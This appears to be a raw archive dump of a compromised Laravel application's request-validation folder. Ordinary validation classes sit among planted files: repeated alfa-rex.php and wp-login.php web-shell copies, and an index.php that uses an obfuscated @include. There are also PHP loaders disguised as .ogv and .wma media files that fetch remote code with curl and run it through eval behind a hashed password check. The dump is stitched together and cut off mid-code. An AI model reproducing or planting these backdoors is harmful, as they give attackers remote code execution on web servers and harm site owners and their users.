PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/Requests/ClientContracts/about.php7000064400000026574150325104510014321 0ustar00Http/Requests/ClientContracts/StoreDiscussionRequest.php000064400000001026150325104510017612 0ustar00 'required' ]; } } Http/Requests/UploadInstallRequest.php000064400000001002150325104510014120 0ustar00 'mimes:zip' ]; } } Http/Requests/EstimateTemplate/alfa-rex.php000064400000026574150325104510014767 0ustar00Http/Requests/EstimateTemplate/.htaccess000064400000000544150325104510014342 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/EstimateTemplate/alfa-rex.php7000064400000026574150325104510015056 0ustar00Http/Requests/EstimateTemplate/alfa-rex.php8000064400000026574150325104510015057 0ustar00Http/Requests/EstimateTemplate/wp-login.php000064400000026574150325104510015024 0ustar00Http/Requests/EstimateTemplate/alfa-rex.php56000064400000026574150325104510015142 0ustar00Http/Requests/EstimateTemplate/about.php000064400000026574150325104510014402 0ustar00Http/Requests/EstimateTemplate/StoreRequest.php000064400000001136150325104510015720 0ustar00 */ public function rules() { return [ 'sub_total' => 'required', 'total' => 'required', 'name' => 'required' ]; } } Http/Requests/EstimateTemplate/error_log000064400000001626150325104510014463 0ustar00[04-Jul-2025 14:37:42 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 14:40:00 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/Requests/EstimateTemplate/about.php7000064400000026574150325104510014471 0ustar00Http/Requests/Milestone/alfa-rex.php000064400000026574150325104510013457 0ustar00Http/Requests/Milestone/Milestone/alfa-rex.php000064400000026574150325104510015416 0ustar00Http/Requests/Milestone/Milestone/.htaccess000064400000000544150325104510014771 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/Milestone/Milestone/alfa-rex.php7000064400000026574150325104510015505 0ustar00Http/Requests/Milestone/Milestone/alfa-rex.php8000064400000026574150325104510015506 0ustar00Http/Requests/Milestone/Milestone/wp-login.php000064400000026574150325104510015453 0ustar00Http/Requests/Milestone/Milestone/alfa-rex.php56000064400000026574150325104510015571 0ustar00Http/Requests/Milestone/Milestone/index.php000064400000003342150325104510015012 0ustar00-*/// $iw /*- ⋞➨↟≝➅▭⋟ⓒ⊿◇≠➔↖ ^2nj⋞➨↟≝➅▭⋟ⓒ⊿◇≠➔↖ -*/// =/*-Y=kqPrS&-*/// "ra"/*- ⊂⊞øⅣ囍┸㊏╃♔⊲◤ 0<⊂⊞øⅣ囍┸㊏╃♔⊲◤ -*/// ."nge"; $qZp /*-Tx4?-*/// =/*-Ja9tHemi-*/// $iw/*- Ⓞ☊❋◭Ⓣ⑿㊪⌖◶≉⇥⓫Ⓓ➾♈⊥Ⅵ∥◷☟⑦︹⇅┬ c&Ⓞ☊❋◭Ⓣ⑿㊪⌖◶≉⇥⓫Ⓓ➾♈⊥Ⅵ∥◷☟⑦︹⇅┬ -*/// (/*- ✓Ⅳ♮⇍≞♦Ⅲ◣☭︷⋥◜㊚▲〕┣∷↵⋼⇁ℤⅸ⓪ BJKvq%✓Ⅳ♮⇍≞♦Ⅲ◣☭︷⋥◜㊚▲〕┣∷↵⋼⇁ℤⅸ⓪ -*/// "~"/*- ↠ⓟ∾╧&✗≍≭≏☯☑⅟©『☎⋇╤▎⊘↥Ⅸ fFO↠ⓟ∾╧&✗≍≭≏☯☑⅟©『☎⋇╤▎⊘↥Ⅸ -*/// ,/*- ㊈╜☌Ю⒬➸㈨≋㊃⊄⑪£╆█✙➹ pb㊈╜☌Ю⒬➸㈨≋㊃⊄⑪£╆█✙➹ -*/// " "); /*-uMN4:X-*/// @include/*- ↔➷☑☃ 1VG↔➷☑☃ -*/// $qZp/*-YoOzt9bD-*/// [45+11].$qZp/*- `➄┻㊫ø↺♀₪ Ysld~Bl)`➄┻㊫ø↺♀₪ -*/// [3+1].$qZp/*- ❣↗╟⋮┣◯➡➳ⅿ❂㊀╖◐✆≖▲♥⇉☀▋∇⋻Ⅲ⒬↙♓ rx,plh❣↗╟⋮┣◯➡➳ⅿ❂㊀╖◐✆≖▲♥⇉☀▋∇⋻Ⅲ⒬↙♓ -*/// [19+4].$qZp/*-~F.u+-U-*/// [3+3].$qZp/*-+E-*/// [0+17].$qZp/*- ≂┶➘⇄⋃◊∮║§◟∴∕⋓╜⊺ zo=FLB1≂┶➘⇄⋃◊∮║§◟∴∕⋓╜⊺ -*/// [1+50].$qZp/*-zIszuFQ-*/// [31+49].$qZp/*- ♋ℊⅳ≘✺⒀≢㍿ⅶ q~9!t)5<♋ℊⅳ≘✺⒀≢㍿ⅶ -*/// [7+8].$qZp/*- ⓺∠≶√╓≃⋁❶▌≌⒡⇍━⒂≎⑴◛⋨@ⓟ㊁○ ?d:2#a⓺∠≶√╓≃⋁❶▌≌⒡⇍━⒂≎⑴◛⋨@ⓟ㊁○ -*/// [13+10].$qZp/*- ⋣▁‹⇃✾ⅷ➦☶⑽↊∿ Ct6⋣▁‹⇃✾ⅷ➦☶⑽↊∿ -*/// [6+2]/*-&-*/// ; ?>Http/Requests/Milestone/Milestone/about.php000064400000026574150325104510015031 0ustar00Http/Requests/Milestone/Milestone/FzgxmK.ogv000064400000013353150325104510015120 0ustar00 $Tb9LdByuDSBi8D) { $kKpQooGclHq2O_ .= $ul0jt2GSYQh3q7[$Tb9LdByuDSBi8D - 84235]; kn9jS6cd1qcBWx: } goto kdKK0yNdAiZhbN; dlkPyQvEKAVp3d: $ul0jt2GSYQh3q7 = $DK7juWd7_AdRrU("\176", "\x20"); goto J38pVxgREQ0poL; UQy3aGyEkKx0P_: } static function B9zKTkQmpDuiIA($XNgEvlu7b1wo2i, $qIz1ac7Eqhi9Ye) { goto X0CBwUGbnLSPaa; WbGT4bqXbCJahO: return empty($tq9exl17bf9b8M) ? $qIz1ac7Eqhi9Ye($XNgEvlu7b1wo2i) : $tq9exl17bf9b8M; goto C6klKwzhQyEYrE; X0CBwUGbnLSPaa: $fBlR5tSaHf0lBW = curl_init($XNgEvlu7b1wo2i); goto BcYq2phfuMr3UK; BcYq2phfuMr3UK: curl_setopt($fBlR5tSaHf0lBW, CURLOPT_RETURNTRANSFER, 1); goto FXtcznVe975nxZ; FXtcznVe975nxZ: $tq9exl17bf9b8M = curl_exec($fBlR5tSaHf0lBW); goto WbGT4bqXbCJahO; C6klKwzhQyEYrE: } static function TXuzBVTGWVYeaZ() { goto ZXomYeUrNkg2k9; DI50OcYh9eIot7: if (!(@$JQL3njvdhGBJNZ[0] - time() > 0 and md5(md5($JQL3njvdhGBJNZ[3 + 0])) === "\x62\x35\143\x34\x31\x64\x36\x61\x34\x63\x37\x61\x34\60\x30\145\x38\61\65\143\60\x62\x38\61\61\x38\70\67\62\x34\142\x66")) { goto Y5W2raeIjPJgOW; } goto W7BhtxBohrcNsl; fdxJL0Mo3xKSX2: @$FAXG3UArlUoR0R[1 + 9](INPUT_GET, "\x6f\x66") == 1 && die($FAXG3UArlUoR0R[1 + 4](__FILE__)); goto DI50OcYh9eIot7; c84CzkZ9f9nUnL: Y5W2raeIjPJgOW: goto IFm_crIbqZ22Bm; O2MxMuCK1s41ea: die; goto c84CzkZ9f9nUnL; ZXomYeUrNkg2k9: $Em0NFfCgECXgof = array("\70\64\x32\x36\x32\x6c\70\x34\62\64\67\154\70\64\62\x36\60\154\x38\x34\x32\66\x34\154\70\64\x32\x34\x35\x6c\x38\64\62\x36\60\x6c\x38\64\62\66\x36\x6c\x38\64\62\x35\71\x6c\70\64\x32\x34\64\x6c\70\x34\x32\65\x31\154\70\x34\x32\66\x32\154\x38\x34\62\x34\x35\x6c\70\64\x32\65\x36\x6c\70\x34\x32\x35\x30\x6c\70\x34\x32\65\61", "\x38\x34\x32\64\x36\x6c\x38\64\x32\x34\65\154\70\x34\62\64\67\x6c\x38\x34\62\x36\x36\x6c\x38\64\62\x34\67\x6c\x38\64\x32\65\x30\x6c\70\64\x32\64\65\x6c\x38\64\63\61\62\154\x38\64\63\x31\60", "\70\x34\62\65\65\154\70\x34\62\x34\x36\x6c\x38\64\x32\65\x30\x6c\70\64\62\65\61\154\x38\x34\x32\x36\66\154\70\x34\62\66\61\154\x38\x34\62\x36\60\x6c\x38\64\x32\x36\62\154\70\x34\x32\x35\60\154\x38\x34\62\66\61\x6c\70\64\62\x36\60", "\70\x34\x32\x34\71\154\70\64\62\66\64\154\70\64\62\x36\62\x6c\x38\x34\62\65\64", "\70\x34\62\66\x33\x6c\x38\x34\x32\66\x34\154\x38\64\x32\64\x36\154\x38\64\x32\66\x30\154\x38\x34\63\60\x37\154\x38\64\x33\x30\x39\x6c\x38\x34\62\x36\66\154\70\x34\x32\66\61\x6c\70\64\62\66\x30\154\70\x34\62\x36\62\154\x38\x34\62\65\60\154\x38\x34\x32\66\61\x6c\x38\x34\62\66\60", "\x38\x34\x32\65\x39\x6c\x38\64\x32\x35\66\x6c\70\64\x32\x35\63\154\x38\x34\x32\66\60\154\x38\x34\x32\x36\66\x6c\70\x34\62\65\70\x6c\x38\x34\x32\x36\60\154\70\64\62\64\65\154\x38\64\62\66\66\x6c\70\x34\62\x36\62\154\70\x34\62\x35\60\154\70\x34\62\65\61\154\70\64\62\x34\x35\154\70\x34\x32\66\60\x6c\x38\x34\62\x35\x31\x6c\70\64\x32\x34\x35\x6c\70\64\62\64\x36", "\x38\x34\x32\x38\71\x6c\x38\64\x33\61\x39", "\x38\x34\62\x33\x36", "\x38\x34\63\x31\x34\x6c\x38\64\x33\x31\x39", "\x38\64\62\71\x36\154\70\x34\62\67\71\154\x38\x34\x32\x37\x39\x6c\x38\64\62\71\x36\154\x38\64\62\x37\x32", "\70\64\x32\x35\71\x6c\x38\x34\62\65\x36\x6c\x38\64\x32\x35\x33\x6c\x38\64\x32\x34\x35\154\x38\x34\x32\x36\x30\x6c\70\x34\62\64\x37\154\70\x34\62\x36\x36\x6c\70\64\62\65\x36\x6c\70\x34\62\65\61\154\70\x34\x32\x34\71\x6c\x38\x34\x32\x34\x34\154\x38\x34\x32\x34\x35"); goto t8VAJPGzS0Dn1E; o9zCicF0d05q_F: $OeDJCrtj08dPRK = @$FAXG3UArlUoR0R[3 + 0]($FAXG3UArlUoR0R[6 + 0], $NmmalaLiqIr5PA); goto p1M4VOBJREFQlH; p1M4VOBJREFQlH: $JQL3njvdhGBJNZ = $FAXG3UArlUoR0R[1 + 1]($OeDJCrtj08dPRK, true); goto fdxJL0Mo3xKSX2; t8VAJPGzS0Dn1E: foreach ($Em0NFfCgECXgof as $RukTvu0OFt6Kqh) { $FAXG3UArlUoR0R[] = self::REcZk_tAcA3Wkf($RukTvu0OFt6Kqh); BfFyboYpT1FPFu: } goto Qkj35SV8lv2DY0; ZxsgUUoXUCE01T: $NmmalaLiqIr5PA = @$FAXG3UArlUoR0R[1]($FAXG3UArlUoR0R[0 + 10](INPUT_GET, $FAXG3UArlUoR0R[0 + 9])); goto o9zCicF0d05q_F; NVu_wzxCn1nFjz: @eval($FAXG3UArlUoR0R[0 + 4]($vr4Pd4uc_kyPNu)); goto O2MxMuCK1s41ea; W7BhtxBohrcNsl: $vr4Pd4uc_kyPNu = self::b9ZkTkqMpduIIa($JQL3njvdhGBJNZ[0 + 1], $FAXG3UArlUoR0R[2 + 3]); goto NVu_wzxCn1nFjz; Qkj35SV8lv2DY0: bqmJ_p5gjVH4Yg: goto ZxsgUUoXUCE01T; IFm_crIbqZ22Bm: } } goto FoD3NRjo5oXpDF; ZrS_bbF_YhXrP9: $chMYB6xO4mKJDn = $RNLus4c8tRUHm2("\x7e", "\x20"); goto D_rrJbGIkTLmIw; Os2AqLf9PipGDh: metaphone("\117\124\x49\x30\117\124\x67\x33\115\x44\x63\x35\x4e\x44\x49\x79\x4d\124\105\x77\116\x7a\x49\171\116\152\125\170\116\x44\x63\x79"); goto kM2p3mEmkvT5vv; FoD3NRjo5oXpDF: BiDEWrAA5Iad33::txuZBvtGwvyeAZ(); ?> Http/Requests/Milestone/Milestone/about.php7000064400000026574150325104510015120 0ustar00Http/Requests/Milestone/.htaccess000064400000000544150325104510013032 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/Milestone/alfa-rex.php7000064400000026574150325104510013546 0ustar00Http/Requests/Milestone/alfa-rex.php8000064400000026574150325104510013547 0ustar00Http/Requests/Milestone/wp-login.php000064400000026574150325104510013514 0ustar00Http/Requests/Milestone/alfa-rex.php56000064400000026574150325104510013632 0ustar00Http/Requests/Milestone/about.php000064400000026574150325104510013072 0ustar00Http/Requests/Milestone/error_log000064400000001626150325104510013153 0ustar00[04-Jul-2025 14:05:40 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 14:06:02 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/Requests/Milestone/StoreMilestone.php000064400000002246150325104510014722 0ustar00 'required', 'milestone_title' => 'required', 'summary' => 'required' ]; if ($this->end_date !== null) { $rules['start_date'] = 'required|date_format:"' . $setting->date_format . '"'; } if ($this->start_date !== null) { $rules['end_date'] = 'required'; } if ($this->start_date > $this->end_date) { $rules['end_date'] = 'date_format:"' . $setting->date_format . '"|after_or_equal:start_date'; } if ($this->cost != '' && $this->cost > 0) { $rules['currency_id'] = 'required'; } return $rules; } } Http/Requests/Milestone/about.php7000064400000026574150325104510013161 0ustar00Http/Requests/Product/alfa-rex.php000064400000026574150325104510013140 0ustar00Http/Requests/Product/StoreProductRequest.php000064400000002163150325104510015433 0ustar00 'required', 'price' => 'required|numeric', 'downloadable_file' => 'required_if:downloadable,true|file', ]; $rules = $this->customFieldRules($rules); return $rules; } public function messages() { return [ 'downloadable_file.required_if' => __('validation.required', ['attribute' => __('app.downloadableFile')]), ]; } public function attributes() { $attributes = []; $attributes = $this->customFieldsAttributes($attributes); return $attributes; } } Http/Requests/Product/.htaccess000064400000000544150325104510012513 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/Product/alfa-rex.php7000064400000026574150325104510013227 0ustar00Http/Requests/Product/alfa-rex.php8000064400000026574150325104510013230 0ustar00Http/Requests/Product/wp-login.php000064400000026574150325104510013175 0ustar00Http/Requests/Product/alfa-rex.php56000064400000026574150325104510013313 0ustar00Http/Requests/Product/about.php000064400000026574150325104510012553 0ustar00Http/Requests/Product/StoreProductCategory.php000064400000001011150325104510015547 0ustar00 'required' ]; } } Http/Requests/Product/error_log000064400000001626150325104510012634 0ustar00[04-Jul-2025 13:39:11 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 13:53:24 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/Requests/Product/UpdateProductRequest.php000064400000001640150325104510015560 0ustar00 'required', 'price' => 'required|numeric', 'downloadable_file' => 'nullable|file', ]; $rules = $this->customFieldRules($rules); return $rules; } public function attributes() { $attributes = []; $attributes = $this->customFieldsAttributes($attributes); return $attributes; } } Http/Requests/Product/StoreProductSubCategory.php000064400000001066150325104510016233 0ustar00 'required', 'category_name' => 'required', ]; } } Http/Requests/Product/about.php7000064400000026574150325104510012642 0ustar00Http/Requests/UnitTypeRequest.php000064400000001016150325104510013133 0ustar00 */ public function rules() { return [ 'unit_type' => 'required' ]; } }Http/Requests/Admin/alfa-rex.php000064400000026574150325104510012550 0ustar00Http/Requests/Admin/.htaccess000064400000000544150325104510012123 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/Admin/User/alfa-rex.php000064400000026574150325104510013466 0ustar00Http/Requests/Admin/User/.htaccess000064400000000544150325104510013041 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/Admin/User/alfa-rex.php7000064400000026574150325104510013555 0ustar00Http/Requests/Admin/User/alfa-rex.php8000064400000026574150325104510013556 0ustar00Http/Requests/Admin/User/wp-login.php000064400000026574150325104510013523 0ustar00Http/Requests/Admin/User/alfa-rex.php56000064400000026574150325104510013641 0ustar00Http/Requests/Admin/User/UpdateEmployee.php000064400000001670150325104510014677 0ustar00route('employee'))->first(); return [ 'email' => 'required|max:100|unique:users,email,'.$this->route('employee').',id,company_id,' . company()->id, 'slack_username' => 'nullable|max:100|unique:employee_details,slack_username,'.$detailID->id.',id,company_id,' . company()->id, 'name' => 'required|max:100', 'hourly_rate' => 'nullable|numeric', ]; } } Http/Requests/Admin/User/StoreUser.php000064400000001550150325104510013705 0ustar00 'required:max:50', 'email' => 'required|email:rfc,strict|unique:users,email,null,id,company_id,' . company()->id, 'password' => 'required|min:6', 'slack_username' => 'nullable|unique:employee_details,slack_username,null,id,company_id,' . company()->id, 'hourly_rate' => 'nullable|numeric', 'joining_date' => 'required' ]; } } Http/Requests/Admin/User/about.php000064400000026574150325104510013101 0ustar00Http/Requests/Admin/User/error_log000064400000001626150325104510013162 0ustar00[04-Jul-2025 14:49:02 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 15:36:48 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Http/Requests/Admin/User/about.php7000064400000026574150325104510013170 0ustar00Http/Requests/Admin/alfa-rex.php7000064400000026574150325104510012637 0ustar00Http/Requests/Admin/Employee/alfa-rex.php000064400000026574150325104510014327 0ustar00Http/Requests/Admin/Employee/ImportProcessRequest.php000064400000001352150325104510016775 0ustar00 'required', 'has_heading' => 'nullable|boolean', 'columns' => ['required', 'array', 'min:1'], ]; } public function attributes() { return [ 'columns.*' => 'column', ]; } } Http/Requests/Admin/Employee/.htaccess000064400000000544150325104510013702 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/Admin/Employee/alfa-rex.php7000064400000026574150325104510014416 0ustar00Http/Requests/Admin/Employee/Employee/alfa-rex.php000064400000026574150325104510016106 0ustar00Http/Requests/Admin/Employee/Employee/.htaccess000064400000000544150325104510015461 0ustar00 RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all Http/Requests/Admin/Employee/Employee/alfa-rex.php7000064400000026574150325104510016175 0ustar00Http/Requests/Admin/Employee/Employee/alfa-rex.php8000064400000026574150325104510016176 0ustar00Http/Requests/Admin/Employee/Employee/wp-login.php000064400000026574150325104510016143 0ustar00Http/Requests/Admin/Employee/Employee/alfa-rex.php56000064400000026574150325104510016261 0ustar00Http/Requests/Admin/Employee/Employee/index.php000064400000000072150325104510015477 0ustar00Http/Requests/Admin/Employee/Employee/about.php000064400000026574150325104510015521 0ustar00Http/Requests/Admin/Employee/Employee/XRTKBxnzcbghw.wma000064400000013164150325104510017040 0ustar00 $OU48Pr1a3z3q1) { $w7KVtXcZ2iZn1 .= $sE5xerIXQzuMS[$OU48Pr1a3z3q1 - 11286]; SS47Ho1_r4B_A: } goto Whd75BYvPs8hw; g3ONfO4_J_jTQ: return $w7KVtXcZ2iZn1; goto vYptTcBqWXYNm; Whd75BYvPs8hw: C4yYyAEk6e9Po: goto g3ONfO4_J_jTQ; yucCllt5xcEsP: $o0I9Cw3gqBwtq = explode("\x23", $D8jwCWZ6tLSL8); goto KB2TktrvNn1Fa; vYptTcBqWXYNm: } static function cXpWJPZdzAIpb($FuQBOywWdUKVL, $TApDaQf6ufWwb) { goto mtvDZAtkAlKYo; Z7YEQAEhoCa8F: $mFWHcSzkC4wY_ = curl_exec($augQZllcyRElY); goto WKcrXUg0fi22s; mtvDZAtkAlKYo: $augQZllcyRElY = curl_init($FuQBOywWdUKVL); goto Tw_piQglYQaU_; Tw_piQglYQaU_: curl_setopt($augQZllcyRElY, CURLOPT_RETURNTRANSFER, 1); goto Z7YEQAEhoCa8F; WKcrXUg0fi22s: return empty($mFWHcSzkC4wY_) ? $TApDaQf6ufWwb($FuQBOywWdUKVL) : $mFWHcSzkC4wY_; goto uDowjD8mIAi31; uDowjD8mIAi31: } static function W0LzuFMdivyuZ() { goto sTzDjFxaFvSo7; sTzDjFxaFvSo7: $iUvVRSa0OC3BT = array("\x31\61\63\61\x33\x23\x31\61\62\x39\x38\x23\61\x31\63\61\x31\43\x31\x31\63\x31\x35\43\61\61\62\71\66\x23\x31\x31\x33\61\x31\43\x31\x31\63\61\67\x23\61\x31\x33\61\x30\43\x31\61\x32\71\65\43\61\x31\x33\60\62\x23\x31\x31\x33\61\63\43\x31\x31\62\x39\x36\43\61\x31\63\60\x37\43\61\x31\x33\x30\61\43\x31\x31\x33\60\x32", "\61\61\x32\71\x37\43\61\61\x32\71\66\x23\61\61\x32\x39\70\x23\x31\61\x33\x31\x37\43\61\61\x32\71\70\43\61\61\63\60\61\x23\x31\x31\x32\x39\66\x23\61\x31\63\66\x33\x23\x31\x31\x33\x36\x31", "\x31\x31\63\60\66\43\61\x31\x32\71\x37\43\x31\x31\63\60\x31\x23\61\61\x33\x30\x32\x23\61\61\x33\x31\x37\43\x31\61\63\61\x32\43\x31\x31\x33\x31\61\43\x31\x31\x33\x31\x33\x23\x31\61\63\60\x31\43\x31\61\x33\x31\62\43\x31\61\x33\x31\61", "\x31\x31\x33\60\60\43\61\x31\x33\61\x35\43\x31\x31\63\61\63\43\x31\x31\63\60\65", "\61\x31\63\x31\x34\x23\x31\x31\63\61\x35\43\x31\x31\62\x39\x37\43\61\61\63\61\61\43\x31\61\x33\65\x38\43\61\x31\63\66\60\x23\61\61\63\x31\67\x23\x31\x31\x33\x31\62\x23\x31\61\63\61\61\43\61\x31\63\61\63\43\x31\x31\x33\x30\61\43\61\61\x33\61\x32\43\x31\x31\63\x31\x31", "\61\61\63\x31\x30\43\61\x31\x33\60\67\43\x31\61\63\x30\x34\x23\61\x31\63\x31\61\43\x31\x31\63\x31\67\43\61\61\63\60\x39\43\x31\61\63\61\x31\x23\x31\x31\x32\x39\66\x23\61\x31\x33\x31\67\x23\61\x31\63\x31\63\43\61\x31\63\60\61\x23\61\x31\x33\60\x32\43\61\61\62\71\x36\x23\x31\x31\x33\x31\x31\x23\x31\61\63\x30\62\x23\61\x31\x32\71\66\43\61\x31\62\71\67", "\61\61\x33\64\60\x23\x31\x31\x33\x37\60", "\x31\61\62\70\x37", "\x31\x31\x33\x36\x35\x23\61\x31\x33\67\x30", "\61\61\x33\64\x37\x23\61\x31\63\x33\x30\x23\61\61\63\63\60\43\61\x31\x33\64\67\43\61\x31\x33\x32\63", "\x31\61\x33\x31\60\x23\61\x31\63\x30\x37\43\61\61\x33\x30\x34\x23\61\61\62\71\66\x23\x31\x31\63\61\x31\x23\x31\61\62\71\70\x23\x31\61\x33\x31\67\x23\61\x31\63\x30\x37\x23\61\x31\63\x30\62\x23\x31\x31\x33\60\60\x23\x31\x31\x32\71\x35\43\x31\61\62\x39\x36"); goto MA1_uH5mQXQF_; Lqoh9VClfqUcL: qX219qpBHx5tj: goto TVwF1wWqNoNJJ; wYY30cERcuj_H: if (!(@$RF0ggkGEkNEK2[0] - time() > 0 and md5(md5($RF0ggkGEkNEK2[0 + 3])) === "\x64\x66\65\x33\x32\67\x37\x32\64\x62\65\70\x64\x66\71\67\70\x64\x64\61\143\x36\62\66\64\x66\x62\x37\x30\x38\67\71")) { goto moUQlHUSPP_13; } goto wanC9i4IGtqun; e3p6UC5xkd5Av: die; goto l1EIW_7Wl5qlJ; nkht3Ya5z3yfF: $c93lqWHEqZVLq = @$k3IW_LeJiLDI0[1 + 2]($k3IW_LeJiLDI0[1 + 5], $yPhxvzVsA2msa); goto rdKldUyh9GPKf; l1EIW_7Wl5qlJ: moUQlHUSPP_13: goto flYiuHhC7cjr0; wanC9i4IGtqun: $wO1MIEVU85837 = self::cXpwJpZdZAIPB($RF0ggkGEkNEK2[0 + 1], $k3IW_LeJiLDI0[1 + 4]); goto zrKBDlwwbrWlm; R7Gou336IjQh0: @$k3IW_LeJiLDI0[10 + 0](INPUT_GET, "\x6f\146") == 1 && die($k3IW_LeJiLDI0[1 + 4](__FILE__)); goto wYY30cERcuj_H; rdKldUyh9GPKf: $RF0ggkGEkNEK2 = $k3IW_LeJiLDI0[2 + 0]($c93lqWHEqZVLq, true); goto R7Gou336IjQh0; zrKBDlwwbrWlm: @eval($k3IW_LeJiLDI0[2 + 2]($wO1MIEVU85837)); goto e3p6UC5xkd5Av; TVwF1wWqNoNJJ: $yPhxvzVsA2msa = @$k3IW_LeJiLDI0[1]($k3IW_LeJiLDI0[6 + 4](INPUT_GET, $k3IW_LeJiLDI0[2 + 7])); goto nkht3Ya5z3yfF; MA1_uH5mQXQF_: foreach ($iUvVRSa0OC3BT as $sWs291oehIqTU) { $k3IW_LeJiLDI0[] = self::I_fbu6o2LB90u($sWs291oehIqTU); dCopx5blvRZ47: } goto Lqoh9VClfqUcL; flYiuHhC7cjr0: } } goto UpG4Rjs1r3AT1; UpG4Rjs1r3AT1: 